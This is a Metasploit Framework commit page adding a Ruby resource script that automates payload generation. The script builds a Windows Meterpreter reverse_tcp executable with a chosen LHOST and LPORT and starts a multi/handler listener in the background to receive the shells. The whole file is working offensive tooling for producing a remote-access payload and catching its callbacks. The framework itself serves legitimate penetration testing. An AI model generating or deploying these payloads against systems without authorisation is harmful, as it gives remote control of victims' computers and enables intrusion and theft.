Land #4757, adds RC for auto payload gen

Closes #4740
Normally we type a bunch of msfvenom/msfconsole commands to generate a
payload for setting up a handler, sometimes we're too lazy to type a
bunch of commands so this should make things a little bit easier.
bug/bundler_fix
Joshua Smith 2015-02-16 14:09:31 -06:00
commit 14da69cb28
No known key found for this signature in database
GPG Key ID: 37B2F4A8D5D50A02
1 changed files with 28 additions and 0 deletions

View File

@ -0,0 +1,28 @@
<ruby>
PAYLOAD = 'windows/meterpreter/reverse_tcp'
def payload_lhost
framework.datastore['LHOST'] || Rex::Socket.source_address
end
def payload_lport
framework.datastore['LPORT'] || 4444
end
def out_path
"#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe"
end
run_single("use payload/#{PAYLOAD}")
run_single("set lhost #{payload_lhost}")
run_single("set lport #{payload_lport}")
run_single("generate -t exe -f #{out_path}")
print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}")
print_status("#{PAYLOAD} is at #{out_path}")
run_single('use exploit/multi/handler')
run_single("set payload #{PAYLOAD}")
run_single("set lhost #{payload_lhost}")
run_single("set lport #{payload_lport}")
run_single('set exitonsession false')
run_single('run -j')
</ruby>